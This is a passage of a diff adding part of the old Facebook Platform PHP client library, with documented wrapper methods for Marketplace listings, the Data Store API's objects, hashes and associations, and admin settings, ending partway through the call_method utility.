+                                    'info_items' => json_encode($info_items)));
+  }
+
+  public function &profile_removeInfoItems($info_labels, $uid=null) {
+    return $this->call_method('facebook.profile.removeInfoItems',
+                              array('uid' => $uid,
+                                    'info_labels' => json_encode($info_labels)));
+  }
+
+
+  public function &fbml_refreshImgSrc($url) {
+    return $this->call_method('facebook.fbml.refreshImgSrc', array('url' => $url));
+  }
+
+  public function &fbml_refreshRefUrl($url) {
+    return $this->call_method('facebook.fbml.refreshRefUrl', array('url' => $url));
+  }
+
+  public function &fbml_setRefHandle($handle, $fbml) {
+    return $this->call_method('facebook.fbml.setRefHandle', array('handle' => $handle, 'fbml' => $fbml));
+  }
+
+  /**
+   * Get all the marketplace categories
+   *
+   * @return array  A list of category names
+   */
+  function marketplace_getCategories() {
+    return $this->call_method('facebook.marketplace.getCategories', array());
+  }
+
+  /**
+   * Get all the marketplace subcategories for a particular category
+   *
+   * @param  category  The category for which we are pulling subcategories
+   * @return array     A list of subcategory names
+   */
+  function marketplace_getSubCategories($category) {
+    return $this->call_method('facebook.marketplace.getSubCategories', array('category' => $category));
+  }
+
+  /**
+   * Get listings by either listing_id or user
+   *
+   * @param listing_ids   An array of listing_ids (optional)
+   * @param uids          An array of user ids (optional)
+   * @return array        The data for matched listings
+   */
+  function marketplace_getListings($listing_ids, $uids) {
+    return $this->call_method('facebook.marketplace.getListings', array('listing_ids' => $listing_ids, 'uids' => $uids));
+  }
+
+  /**
+   * Search for Marketplace listings.  All arguments are optional, though at least
+   * one must be filled out to retrieve results.
+   *
+   * @param category     The category in which to search (optional)
+   * @param subcategory  The subcategory in which to search (optional)
+   * @param query        A query string (optional)
+   * @return array       The data for matched listings
+   */
+  function marketplace_search($category, $subcategory, $query) {
+    return $this->call_method('facebook.marketplace.search', array('category' => $category, 'subcategory' => $subcategory, 'query' => $query));
+  }
+
+  /**
+   * Remove a listing from Marketplace
+   *
+   * @param listing_id  The id of the listing to be removed
+   * @param status      'SUCCESS', 'NOT_SUCCESS', or 'DEFAULT'
+   * @return bool       True on success
+   */
+  function marketplace_removeListing($listing_id, $status='DEFAULT', $uid=null) {
+    return $this->call_method('facebook.marketplace.removeListing',
+                              array('listing_id'=>$listing_id,
+                                    'status'=>$status,
+                                    'uid' => $uid));
+  }
+
+  /**
+   * Create/modify a Marketplace listing for the loggedinuser
+   *
+   * @param int              listing_id   The id of a listing to be modified, 0 for a new listing.
+   * @param show_on_profile  bool         Should we show this listing on the user's profile
+   * @param listing_attrs    array        An array of the listing data
+   * @return                 int          The listing_id (unchanged if modifying an existing listing)
+   */
+  function marketplace_createListing($listing_id, $show_on_profile, $attrs, $uid=null) {
+    return $this->call_method('facebook.marketplace.createListing',
+                              array('listing_id'=>$listing_id,
+                                    'show_on_profile'=>$show_on_profile,
+                                    'listing_attrs'=>json_encode($attrs),
+                                    'uid' => $uid));
+  }
+
+
+  /////////////////////////////////////////////////////////////////////////////
+  // Data Store API
+
+  /**
+   * Set a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @param  value      preferece's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setUserPreference($pref_id, $value) {
+    return $this->call_method
+      ('facebook.data.setUserPreference',
+       array('pref_id' => $pref_id,
+             'value' => $value));
+  }
+
+  /**
+   * Set a user's all preferences for this application.
+   *
+   * @param  values     preferece values in an associative arrays
+   * @param  replace    whether to replace all existing preferences or
+   *                    merge into them.
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setUserPreferences($values, $replace = false) {
+    return $this->call_method
+      ('facebook.data.setUserPreferences',
+       array('values' => json_encode($values),
+             'replace' => $replace));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @param  pref_id    preference identifier (0-200)
+   * @return            preference's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getUserPreference($pref_id) {
+    return $this->call_method
+      ('facebook.data.getUserPreference',
+       array('pref_id' => $pref_id));
+  }
+
+  /**
+   * Get a user preference.
+   *
+   * @return           preference values
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getUserPreferences() {
+    return $this->call_method
+      ('facebook.data.getUserPreferences',
+       array());
+  }
+
+  /**
+   * Create a new object type.
+   *
+   * @param  name       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_createObjectType($name) {
+    return $this->call_method
+      ('facebook.data.createObjectType',
+       array('name' => $name));
+  }
+
+  /**
+   * Delete an object type.
+   *
+   * @param  obj_type       object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_dropObjectType($obj_type) {
+    return $this->call_method
+      ('facebook.data.dropObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Rename an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  new_name       new object type's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameObjectType($obj_type, $new_name) {
+    return $this->call_method
+      ('facebook.data.renameObjectType',
+       array('obj_type' => $obj_type,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Add a new property to an object type.
+   *
+   * @param  obj_type       object type's name
+   * @param  prop_name      name of the property to add
+   * @param  prop_type      1: integer; 2: string; 3: text blob
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_defineObjectProperty($obj_type, $prop_name, $prop_type) {
+    return $this->call_method
+      ('facebook.data.defineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'prop_type' => $prop_type));
+  }
+
+  /**
+   * Remove a previously defined property from an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_undefineObjectProperty($obj_type, $prop_name) {
+    return $this->call_method
+      ('facebook.data.undefineObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Rename a previously defined property of an object type.
+   *
+   * @param  obj_type      object type's name
+   * @param  prop_name     name of the property to rename
+   * @param  new_name      new name to use
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameObjectProperty($obj_type, $prop_name,
+                                            $new_name) {
+    return $this->call_method
+      ('facebook.data.renameObjectProperty',
+       array('obj_type' => $obj_type,
+             'prop_name' => $prop_name,
+             'new_name' => $new_name));
+  }
+
+  /**
+   * Retrieve a list of all object types that have defined for the application.
+   *
+   * @return               a list of object type names
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectTypes() {
+    return $this->call_method
+      ('facebook.data.getObjectTypes',
+       array());
+  }
+
+  /**
+   * Get definitions of all properties of an object type.
+   *
+   * @param obj_type       object type's name
+   * @return               pairs of property name and property types
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectType($obj_type) {
+    return $this->call_method
+      ('facebook.data.getObjectType',
+       array('obj_type' => $obj_type));
+  }
+
+  /**
+   * Create a new object.
+   *
+   * @param  obj_type      object type's name
+   * @param  properties    (optional) properties to set initially
+   * @return               newly created object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_createObject($obj_type, $properties = null) {
+    return $this->call_method
+      ('facebook.data.createObject',
+       array('obj_type' => $obj_type,
+             'properties' => json_encode($properties)));
+  }
+
+  /**
+   * Update an existing object.
+   *
+   * @param  obj_id        object's id
+   * @param  properties    new properties
+   * @param  replace       true for replacing existing properties; false for merging
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_updateObject($obj_id, $properties, $replace = false) {
+    return $this->call_method
+      ('facebook.data.updateObject',
+       array('obj_id' => $obj_id,
+             'properties' => json_encode($properties),
+             'replace' => $replace));
+  }
+
+  /**
+   * Delete an existing object.
+   *
+   * @param  obj_id        object's id
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_deleteObject($obj_id) {
+    return $this->call_method
+      ('facebook.data.deleteObject',
+       array('obj_id' => $obj_id));
+  }
+
+  /**
+   * Delete a list of objects.
+   *
+   * @param  obj_ids       objects to delete
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_deleteObjects($obj_ids) {
+    return $this->call_method
+      ('facebook.data.deleteObjects',
+       array('obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Get a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @return               individual property's value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjectProperty($obj_id, $prop_name) {
+    return $this->call_method
+      ('facebook.data.getObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Get properties of an object.
+   *
+   * @param  obj_id      object's id
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObject($obj_id, $prop_names = null) {
+    return $this->call_method
+      ('facebook.data.getObject',
+       array('obj_id' => $obj_id,
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Get properties of a list of objects.
+   *
+   * @param  obj_ids     object ids
+   * @param  prop_names  (optional) properties to return; null for all.
+   * @return             specified properties of an object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getObjects($obj_ids, $prop_names = null) {
+    return $this->call_method
+      ('facebook.data.getObjects',
+       array('obj_ids' => json_encode($obj_ids),
+             'prop_names' => json_encode($prop_names)));
+  }
+
+  /**
+   * Set a single property value of an object.
+   *
+   * @param  obj_id        object's id
+   * @param  prop_name     individual property's name
+   * @param  prop_value    new value to set
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setObjectProperty($obj_id, $prop_name,
+                                         $prop_value) {
+    return $this->call_method
+      ('facebook.data.setObjectProperty',
+       array('obj_id' => $obj_id,
+             'prop_name' => $prop_name,
+             'prop_value' => $prop_value));
+  }
+
+  /**
+   * Read hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     (optional) individual property's name
+   * @return               hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getHashValue($obj_type, $key, $prop_name = null) {
+    return $this->call_method
+      ('facebook.data.getHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Write hash value by key.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  value         hash value
+   * @param  prop_name     (optional) individual property's name
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setHashValue($obj_type, $key, $value, $prop_name = null) {
+    return $this->call_method
+      ('facebook.data.setHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'value' => $value,
+             'prop_name' => $prop_name));
+  }
+
+  /**
+   * Increase a hash value by specified increment atomically.
+   *
+   * @param  obj_type      object type's name
+   * @param  key           hash key
+   * @param  prop_name     individual property's name
+   * @param  increment     (optional) default is 1
+   * @return               incremented hash value
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_incHashValue($obj_type, $key, $prop_name, $increment = 1) {
+    return $this->call_method
+      ('facebook.data.incHashValue',
+       array('obj_type' => $obj_type,
+             'key' => $key,
+             'prop_name' => $prop_name,
+             'increment' => $increment));
+  }
+
+  /**
+   * Remove a hash key and its values.
+   *
+   * @param  obj_type    object type's name
+   * @param  key         hash key
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeHashKey($obj_type, $key) {
+    return $this->call_method
+      ('facebook.data.removeHashKey',
+       array('obj_type' => $obj_type,
+             'key' => $key));
+  }
+
+  /**
+   * Remove hash keys and their values.
+   *
+   * @param  obj_type    object type's name
+   * @param  keys        hash keys
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeHashKeys($obj_type, $keys) {
+    return $this->call_method
+      ('facebook.data.removeHashKeys',
+       array('obj_type' => $obj_type,
+             'keys' => json_encode($keys)));
+  }
+
+
+  /**
+   * Define an object association.
+   *
+   * @param  name        name of this association
+   * @param  assoc_type  1: one-way 2: two-way symmetric 3: two-way asymmetric
+   * @param  assoc_info1 needed info about first object type
+   * @param  assoc_info2 needed info about second object type
+   * @param  inverse     (optional) name of reverse association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_defineAssociation($name, $assoc_type, $assoc_info1,
+                                         $assoc_info2, $inverse = null) {
+    return $this->call_method
+      ('facebook.data.defineAssociation',
+       array('name' => $name,
+             'assoc_type' => $assoc_type,
+             'assoc_info1' => json_encode($assoc_info1),
+             'assoc_info2' => json_encode($assoc_info2),
+             'inverse' => $inverse));
+  }
+
+  /**
+   * Undefine an object association.
+   *
+   * @param  name        name of this association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_undefineAssociation($name) {
+    return $this->call_method
+      ('facebook.data.undefineAssociation',
+       array('name' => $name));
+  }
+
+  /**
+   * Rename an object association or aliases.
+   *
+   * @param  name        name of this association
+   * @param  new_name    (optional) new name of this association
+   * @param  new_alias1  (optional) new alias for object type 1
+   * @param  new_alias2  (optional) new alias for object type 2
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_ALREADY_EXISTS
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_renameAssociation($name, $new_name, $new_alias1 = null,
+                                         $new_alias2 = null) {
+    return $this->call_method
+      ('facebook.data.renameAssociation',
+       array('name' => $name,
+             'new_name' => $new_name,
+             'new_alias1' => $new_alias1,
+             'new_alias2' => $new_alias2));
+  }
+
+  /**
+   * Get definition of an object association.
+   *
+   * @param  name        name of this association
+   * @return             specified association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociationDefinition($name) {
+    return $this->call_method
+      ('facebook.data.getAssociationDefinition',
+       array('name' => $name));
+  }
+
+  /**
+   * Get definition of all associations.
+   *
+   * @return             all defined associations
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociationDefinitions() {
+    return $this->call_method
+      ('facebook.data.getAssociationDefinitions',
+       array());
+  }
+
+  /**
+   * Create or modify an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  data        (optional) extra string data to store
+   * @param  assoc_time  (optional) extra time data; default to creation time
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setAssociation($name, $obj_id1, $obj_id2, $data = null,
+                                      $assoc_time = null) {
+    return $this->call_method
+      ('facebook.data.setAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'data' => $data,
+             'assoc_time' => $assoc_time));
+  }
+
+  /**
+   * Create or modify associations between objects.
+   *
+   * @param  assocs      associations to set
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_setAssociations($assocs, $name = null) {
+    return $this->call_method
+      ('facebook.data.setAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove an association between two objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociation($name, $obj_id1, $obj_id2) {
+    return $this->call_method
+      ('facebook.data.removeAssociation',
+       array('name' => $name,
+             'obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2));
+  }
+
+  /**
+   * Remove associations between objects by specifying pairs of object ids.
+   *
+   * @param  assocs      associations to remove
+   * @param  name        (optional) name of association
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociations($assocs, $name = null) {
+    return $this->call_method
+      ('facebook.data.removeAssociations',
+       array('assocs' => json_encode($assocs),
+             'name' => $name));
+  }
+
+  /**
+   * Remove associations between objects by specifying one object id.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to remove
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_removeAssociatedObjects($name, $obj_id) {
+    return $this->call_method
+      ('facebook.data.removeAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Retrieve a list of associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @param  no_data     only return object ids
+   * @return             associated objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjects($name, $obj_id, $no_data = true) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjects',
+       array('name' => $name,
+             'obj_id' => $obj_id,
+             'no_data' => $no_data));
+  }
+
+  /**
+   * Count associated objects.
+   *
+   * @param  name        name of association
+   * @param  obj_id      who's association to retrieve
+   * @return             associated object's count
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjectCount($name, $obj_id) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjectCount',
+       array('name' => $name,
+             'obj_id' => $obj_id));
+  }
+
+  /**
+   * Get a list of associated object counts.
+   *
+   * @param  name        name of association
+   * @param  obj_ids     whose association to retrieve
+   * @return             associated object counts
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_DATA_OBJECT_NOT_FOUND
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_INVALID_OPERATION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociatedObjectCounts($name, $obj_ids) {
+    return $this->call_method
+      ('facebook.data.getAssociatedObjectCounts',
+       array('name' => $name,
+             'obj_ids' => json_encode($obj_ids)));
+  }
+
+  /**
+   * Find all associations between two objects.
+   *
+   * @param  obj_id1     id of first object
+   * @param  obj_id2     id of second object
+   * @param  no_data     only return association names without data
+   * @return             all associations between objects
+   * @error
+   *    API_EC_DATA_DATABASE_ERROR
+   *    API_EC_PARAM
+   *    API_EC_PERMISSION
+   *    API_EC_DATA_QUOTA_EXCEEDED
+   *    API_EC_DATA_UNKNOWN_ERROR
+   */
+  public function &data_getAssociations($obj_id1, $obj_id2, $no_data = true) {
+    return $this->call_method
+      ('facebook.data.getAssociations',
+       array('obj_id1' => $obj_id1,
+             'obj_id2' => $obj_id2,
+             'no_data' => $no_data));
+  }
+
+  /**
+   * Get the properties that you have set for an app.
+   *
+   * @param  properties  list of properties names to fetch
+   * @return             a map from property name to value
+   */
+  public function admin_getAppProperties($properties) {
+    return json_decode($this->call_method
+                       ('facebook.admin.getAppProperties',
+                        array('properties' => json_encode($properties))), true);
+  }
+
+  /**
+   * Set properties for an app.
+   *
+   * @param  properties  a map from property names to  values
+   * @return             true on success
+   */
+  public function admin_setAppProperties($properties) {
+    return $this->call_method
+      ('facebook.admin.setAppProperties',
+       array('properties' => json_encode($properties)));
+  }
+
+  /**
+   * Returns the allocation limit value for a specified integration point name
+   * Integration point names are defined in lib/api/karma/constants.php in the limit_map
+   * @param string $integration_point_name
+   * @return integration point allocation value
+   */
+  public function &admin_getAllocation($integration_point_name) {
+    return $this->call_method('facebook.admin.getAllocation', array('integration_point_name' => $integration_point_name));
+  }
+
+  /**
+   * Returns values for the specified metrics for the current
+   * application, in the given time range.  The metrics are collected
+   * for fixed-length periods, and the times represent midnight at
+   * the end of each period.
+   *
+   * @param start_time  unix time for the start of the range
+   * @param end_time    unix time for the end of the range
+   * @param period      number of seconds in the desired period
+   * @param metrics     list of metrics to look up
+   * @return            a list of the values for those metrics
+   */
+  public function &admin_getMetrics($start_time, $end_time, $period, $metrics) {
+    return $this->call_method('admin.getMetrics',
+                              array('start_time' => $start_time,
+                                    'end_time' => $end_time,
+                                    'period' => $period,
+                                    'metrics' => json_encode($metrics)));
+  }
+
+  /**
+   * Sets application restriction info
+   * Applications can restrict themselves to only a limted demography of users based on users' age and/or location
+   * or based on static predefined types specified by facebook for specifying diff age restriction for diff locations
+   *
+   * @param   restriction_info
+   * @return  bool
+   */
+  public function admin_setRestrictionInfo($restriction_info = null) {
+    $restriction_str = null;
+    if (!empty($restriction_info)) {
+      $restriction_str = json_encode($restriction_info);
+    }
+    return $this->call_method('admin.setRestrictionInfo',
+                              array('restriction_str' => $restriction_str));
+  }
+
+  /**
+   * Gets application restriction info
+   * Applications can restrict themselves to only a limted demography of users based on users' age and/or location
+   * or based on static predefined types specified by facebook for specifying diff age restriction for diff locations
+   *
+   * @return  bool
+   */
+  public function admin_getRestrictionInfo() {
+    return json_decode($this->call_method(
+                                'admin.getRestrictionInfo',
+                                array()),
+                       true);
+  }
+
+  /* UTILITY FUNCTIONS */
+
+  public function & call_method($method, $params) {
+
+    //Check if we are in batch mode
+    if($this->batch_queue === null) {
+      if ($this->call_as_apikey) {
+        $params['call_as_apikey'] = $this->call_as_apikey;
+      }
+      $xml = $this->post_request($method, $params);
